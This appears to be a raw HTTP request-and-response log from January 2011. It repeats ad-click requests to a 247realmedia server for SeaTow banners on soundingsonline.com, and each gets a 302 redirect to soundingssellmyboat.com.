<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1220615232/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:58:22 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1239223334/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:57:31 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1297608231/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:56:46 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1304908327/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:01 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1379666529/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:56:18 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1392092493/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:55:22 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1417680846/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:54:27 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1442210960/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:54:50 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1486045072/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1673101093/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:47:28 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1686621276/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:38:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1741696931/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:47:37 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1767100923/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:43:15 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1790286706/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:54:22 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1798360227/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:51:55 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1839652180/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/188597572/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:57:07 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1960309178/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:43:11 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1988230146/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:51:23 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1989764170/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1990120906/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1992827791/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:20 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
